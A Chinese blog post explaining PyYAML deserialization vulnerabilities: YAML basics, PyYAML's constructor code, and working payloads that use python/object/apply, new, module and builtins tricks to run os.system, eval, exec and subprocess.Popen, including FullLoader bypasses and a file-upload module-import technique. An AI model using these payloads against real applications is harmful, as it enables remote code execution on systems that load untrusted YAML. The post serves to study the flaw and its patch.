PyYAML反序列化漏洞

PyYAML反序列化漏洞

关于yaml的基本知识可以到菜鸟教程学习

yaml语言我老是在docker-compsoe.yml见到它,像这样

version: '2'
services:
 web:
   build: .
   ports:
    - "8000:8000"
   volumes:
    - ./app.py:/usr/src/app.py

下面就开始简单认识一下这个玩意儿,以及其中的反序列化漏洞利用

yaml的基本语法

大小写敏感

使用空格代替tab键缩进表示层级,对齐即可表示同级

'#'注释内容

在同一个yml文件中用------隔开多份配置

!!表示强制类型转换

yaml的数据类型

YAML 对象

键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)

对象键值对使用冒号结构表示 key: value,冒号后面要加一个空格(这类用":"分隔的数据转化为python格式就是字典):

key: 
    child-key: value
    child-key2: value2

YAML 数组

一组按次序排列的值,又称为序列(sequence) / 列表(list)

- 开头的行表示构成一个数组("-"后携带的数据转化为python格式就是列表):

- A
- B
- C

YAML 纯量

单个的、不可再分的值

字符串、布尔值、整数、浮点数、Null、时间、日期

boolean: 
    - TRUE  #true,True都可以
    - FALSE  #false,False都可以
float:
    - 3.14
    - 6.8523015e+5  #可以使用科学计数法
int:
    - 123
    - 0b1010_0111_0100_1010_1110    #二进制表示
null:
    nodeName: 'node'
    parent: ~  #使用~表示null
string:
    - 哈哈
    - 'Hello world'  #可以使用双引号或者单引号包裹特殊字符
    - newline
      newline2    #字符串可以拆成多行,每一行会被转化成一个空格
date:
    - 2018-02-17    #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime: 
    -  2018-02-17T15:02:31+08:00    #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

强制类型转换

yaml本身支持强制类型转化

用特有的yaml标签来指定转化的类型

像强制转化为str类型就是!!str

如下

str: !!str 321
int: !!int "123"

结果

{'int': 123,'str': '321'}

原本整数类型的321被转换为str类型,字符串类型的123被转换为int类型

pyyaml下支持所有yaml标签转化为python对应类型:

image-20220909151303452

最后有五个功能强大的yaml标签,支持转化为指定的python模块,类,方法以及对象实例

!!python/name:module.name	module.name
!!python/module:package.module	package.module
!!python/object:module.cls	module.cls instance
!!python/object/new:module.cls	module.cls instance
!!python/object/apply:module.f	value of f(...)

Pyyaml<=5.1

在Pyyaml提供以下两类方法来实现python和yaml两种语言格式的互相转化

python-> yaml

load(data)#加载单个 YAML 配置

load(data, Loader=yaml.Loader)#指定加载器有BaseLoader、SafeLoader

load_all(data)#加载多个 YAML 配置

load_all(data, Loader=yaml.Loader)#指定加载器

yaml.load()方法的作用是将yaml类型数据转化为python对象包括自定义的对象实例、字典、列表等类型数据

Loader就是用来指定加载器

BaseConstructor:最最基础的构造器,不支持强制类型转换

SafeConstructor:集成 BaseConstructor,强制类型转换和 YAML 规范保持一致,没有魔改

Constructor:在 YAML 规范上新增了很多强制类型转换(5.1以下默认此加载器,很危险)

接收的data参数可以是yaml格式的字串、Unicode字符串、二进制文件对象或者打开的文本文件对象

yaml -> python

yaml.dump(data)

dump接收的参数就是python对象包括对象实例、字典、列表等类型数据

dump后python的对象实例转化最终是变成一串yaml格式的字符,所以这种情况我们愿称之为序列化,反之load就是在反序列化

五个complex标签的认识及利用

!!python/object/apply

通过调试,进入yaml模块源码yaml/constructor.py中,找到!!python/object/apply标签的处理函数,construct_python_object_apply,如下:

def construct_python_object_apply(self, suffix, node, newobj=False):
        # Format:
        #   !!python/object/apply       # (or !!python/object/new)
        #   args: [ ... arguments ... ]
        #   kwds: { ... keywords ... }
        #   state: ... state ...
        #   listitems: [ ... listitems ... ]
        #   dictitems: { ... dictitems ... }
        # or short format:
        #   !!python/object/apply [ ... arguments ... ]
        # The difference between !!python/object/apply and !!python/object/new
        # is how an object is created, check make_python_instance for details.
        if isinstance(node, SequenceNode):
            args = self.construct_sequence(node, deep=True)
            kwds = {}
            state = {}
            listitems = []
            dictitems = {}
        else:
            value = self.construct_mapping(node, deep=True)
            args = value.get('args', [])
            kwds = value.get('kwds', {})
            state = value.get('state', {})
            listitems = value.get('listitems', [])
            dictitems = value.get('dictitems', {})
        instance = self.make_python_instance(suffix, node, args, kwds, newobj)
        if state:
            self.set_python_instance_state(instance, state)
        if listitems:
            instance.extend(listitems)
        if dictitems:
            for key in dictitems:
                instance[key] = dictitems[key]
        return instance

然后会调用make_python_instance方法

image-20220902172310225

又进入了find_python_name方法,通过__import__将模块导入进来

image-20220902172212555

经过测试,针对!!python/object/apply标签的payload如下

yaml.load("!!python/object/apply:os.system [calc.exe]")# 命令的单双引号加不加都可以

yaml.load("""
!!python/object/apply:os.system
- calc.exe
""")

yaml.load("""
!!python/object/apply:os.system
  args: ["calc.exe"]
""")

!!python/object/new

constructor.py中也能找到处理函数

    def construct_python_object_new(self, suffix, node):
        return self.construct_python_object_apply(suffix, node, newobj=True)

从代码可以看出!!python/object/new标签最终也是调用construct_python_object_apply方法

尽管newobj的值是Ture,但是在测试之后发现并不影响利用

原理跟上面一样,最终进入了find_python_name方法,通过__import__将模块导入进来

针对 !!python/object/new标签的payload如下:

yaml.load("!!python/object/new:os.system [calc.exe]")# 命令的单双引号加不加都可以

yaml.load("""
!!python/object/new:os.system
- calc.exe
""")

yaml.load("""
!!python/object/new:os.system
  args: ["calc.exe"]
""")

!!python/object

constructor.py中也能找到!!python/object标签的处理函数:

    def construct_python_object(self, suffix, node):
        # Format:
        #   !!python/object:module.name { ... state ... }
        instance = self.make_python_instance(suffix, node, newobj=True)
        yield instance
        deep = hasattr(instance, '__setstate__')
        state = self.construct_mapping(node, deep=deep)
        self.set_python_instance_state(instance, state)

可以看到也是调用了make_python_instance方法

但是有一个致命问题就是没有像前面的调用一样,把命令作为参数传进去

image-20220913101849337

在这里参数为空,命令就无法执行

!!python/module

该标签在constructor.py中处理函数

def construct_python_module(self, suffix, node):
        value = self.construct_scalar(node)
        if value:
            raise ConstructorError("while constructing a Python module", node.start_mark,
                    "expected the empty value, but found %r" % value, node.start_mark)
        return self.find_python_module(suffix, node.start_mark)

这里调用了find_python_module方法,跟find_python_name方法很像,返回的结果是模块名而已

def find_python_module(self, name, mark):
        if not name:
            raise ConstructorError("while constructing a Python module", mark,
                    "expected non-empty name appended to the tag", mark)
        try:
            __import__(name)
        except ImportError as exc:
            raise ConstructorError("while constructing a Python module", mark,
                    "cannot find module %r (%s)" % (name, exc), mark)
        return sys.modules[name]

这里没有任何可以对命令参数处理的地方,跟上一个其实差不多

!!python/name

该标签在constructor.py中处理函数

 def construct_python_name(self, suffix, node):
        value = self.construct_scalar(node)
        if value:
            raise ConstructorError("while constructing a Python name", node.start_mark,
                    "expected the empty value, but found %r" % value, node.start_mark)
        return self.find_python_name(suffix, node.start_mark)

这里也是跟!!python/module一样陷入窘境

针对上面

!!python/name:module.name	module.name
!!python/module:package.module	package.module
!!python/object:module.cls	module.cls instance

这三个不能直接执行命令的标签,条件允许其实有其他办法

原理

利用现有文件上传或者写文件的功能,传入一个写入命令执行代码的文件

将文件名写入标签中,当该标签被反序列化时,就可以顺利导入该文件作为模块,执行当中的命令

利用方式

文件名yaml_test.py

import os
os.system('mate-calc')

如果在另一文件simple.py中,依次运行以下load代码

import yaml

yaml.load("!!python/module:yaml_test" )
#exp方法是随意写的,是不存在的,但必须要有,因为这是命名规则,不然会报错,主要是文件名yaml_test要写对
yaml.load("!!python/object:yaml_test.exp" )
yaml.load("!!python/name:yaml_test.exp" )

都能成功弹出计算器

当然!!python/object/new !!python/object/apply也可以用这种方式实现利用

yaml.load('!!python/object/apply:yaml_test.exp {}' )
yaml.load('!!python/object/new:yaml_test.exp {}' )

以上要求是在同一目录下

如果不在同一目录下怎么办

好比如这种情况

├── simple.py
└── uploads
    └── yaml_test.py

那payload稍作修改,在文件名前加入目录名可

#经过测试只有modle标签可行
yaml.load("!!python/module:uploads.yaml_test" )

当然文件名写成__init__.py将会更简单

payload只需目录即可

而且apply和new两个标签也可以构造利用了

yaml.load("!!python/module:uploads" )
#exp表示着类实例,可以写成其他,虽不存在但是一定要有,否则报错
yaml.load('!!python/object/apply:uploads.exp {}' )
yaml.load('!!python/object/new:uploads.exp {}' )

漏洞的修复

大于5.1的版本,打了补丁

通过调试发现

find_python_name方法(还有find_python_mdule方法也一样)增加了一个默认unsafe为false的值

就无法直接__import__,最终会报错

def find_python_name(self, name, mark, unsafe=False):
    if not name:
            raise ConstructorError("while constructing a Python object", mark,
                    "expected non-empty name appended to the tag", mark)
        if u'.' in name:
            module_name, object_name = name.rsplit('.', 1)
        else:
            module_name = '__builtin__'
            object_name = name
        if unsafe:
            try:
                __import__(module_name)
            except ImportError, exc:
                raise ConstructorError("while constructing a Python object", mark,
                        "cannot find module %r (%s)" % (module_name.encode('utf-8'), exc), mark)
        //这里查看是不是在sys.moudles字典里,不是就会进入直接报错
        if module_name not in sys.modules:
            raise ConstructorError("while constructing a Python object", mark,
                    "module %r is not imported" % module_name.encode('utf-8'), mark)
        module = sys.modules[module_name]
        if not hasattr(module, object_name):
            raise ConstructorError("while constructing a Python object", mark,
                    "cannot find %r in the module %r" % (object_name.encode('utf-8'),
                        module.__name__), mark)
        return getattr(module, object_name)

接下来执行这一段

  if not (unsafe or isinstance(cls, type) or isinstance(cls, type(self.classobj))):
            raise ConstructorError("while constructing a Python instance", node.start_mark,
                    "expected a class, but found %r" % type(cls),
                    node.start_mark)

PyYAML >5.1

在PyYAML>=5.1版本中,提供了以下方法用于加载yaml语言:

load(data) [works under certain conditions]

load(data, Loader=yaml.Loader) #loader可选择BaseLoader、SafeLoader、FullLoader、UnsafeLoader

load_all(data) [works under certain condition]

load_all(data, Loader=yaml.Loader) #loader可选择BaseLoader、SafeLoader、FullLoader、UnsafeLoader

full_load(data)

full_load_all(data)

unsafe_load(data)

unsafe_load_all(data)

在5.1之后的yaml中load函数被限制使用了,会被警告提醒加上一个参数 Loader

1.py:3: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.

针对不同的需要,选择不同的加载器,有以下几种加载器

BaseConstructor:仅加载最基本的YAML

SafeConstructor:安全加载Yaml语言的子集,建议用于加载不受信任的输入(safe_load)

FullConstructor:加载的模块必须位于 sys.modules 中(说明程序已经 import 过了才让加载)。这个是默认的加载器。

UnsafeConstructor(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)

Constructor:等同于UnsafeConstructor

如果说指定的加载器是UnsafeConstructor 或者Constructor,那么利用方式就照旧

Fullloader加载模式的对漏洞利用的限制

  1. 如果不执行只是为了单纯导入模块,那么需要sys.modules字典中有我们的模块,否则报错

    报错内容:yaml.constructor.ConstructorError: while constructing a Python object
    module 'subprocess' is not imported

    例如

  2. 如果要执行,那么sys.modules字典中要有利用模块,并且加载进来的 module.name 必须是一个类而不能是方法,否则就会报错

    报错内容:yaml.constructor.ConstructorError: while constructing a Python instance
    expected a class, but found <class 'builtin_function_or_method'>

认识builtins模块

builtins是python的内建模块,所谓内建模块就是你在使用时不需要import,在python启
动后,在没有执行程序员编写的任何代码前,python会加载内建模块中的函数到内存中。

而且我发现在find_python_name处理不带.,也就是module为空的情况下,自动默认module为builtins,并且该模块是在sys.modules中的

image-20220915110708519

用下面程序可以看看该模块下有哪些成员

import builtins
def print_all(module_):
  modulelist = dir(module_)
  length = len(modulelist)
  for i in range(0,length,1):
    print (getattr(module_,modulelist[i]))
 
print_all(builtins)
image-20220915114800485

有足足153个,稍改一下程序排除掉方法,筛选出类成员

ArithmeticError,AssertionError,AttributeError,BaseException,BlockingIOError,BrokenPipeError,BufferError,BytesWarning,ChildProcessError,ConnectionAbortedError,ConnectionError,ConnectionRefusedError,ConnectionResetError,DeprecationWarning,EOFError,OSError,Exception,FileExistsError,FileNotFoundError,FloatingPointError,FutureWarning,GeneratorExit,OSError,ImportError,ImportWarning,IndentationError,IndexError,InterruptedError,IsADirectoryError,KeyError,KeyboardInterrupt,LookupError,MemoryError,ModuleNotFoundError,NameError,NotADirectoryError,NotImplementedError,OSError,OverflowError,PendingDeprecationWarning,PermissionError,ProcessLookupError,RecursionError,ReferenceError,ResourceWarning,RuntimeError,RuntimeWarning,StopAsyncIteration,StopIteration,SyntaxError,SyntaxWarning,SystemError,SystemExit,TabError,TimeoutError,TypeError,UnboundLocalError,UnicodeDecodeError,UnicodeEncodeError,UnicodeError,UnicodeTranslateError,UnicodeWarning,UserWarning,ValueError,Warning,OSError,ZeroDivisionError,_frozen_importlib.BuiltinImporter,bool,bytearray,bytes,classmethod,complex,dict,enumerate,filter,float,frozenset,int,list,map,memoryview,object,property,range,reversed,set,slice,staticmethod,str,super,tuple,type,zip

payload

我们可以用python的内置函数eval(或者exec)来执行代码,用map来触发函数执行,用tuple将map对象转化为元组输出来(当然用listfrozensetbytes都可以),用python写出来如下

tuple(map(eval, ["__import__('os').system('whoami')"]))

变为yaml

yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('whoami')"]
""")

除此之外网上还有很多大佬有其他的payload

#创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数
!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('whoami')"
#报错但是执行了
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('whoami')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
- !!python/object/new:yaml.MappingNode
  listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]'
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load

局限

我经过测试pyyaml到5.4之后,上面的payload基本用不了

参考文章

SecMap - 反序列化(PyYAML) - Tr0y's Blog

posted @ 2022-09-19 11:09  DAMOXILAI  阅读(348)  评论(0编辑  收藏  举报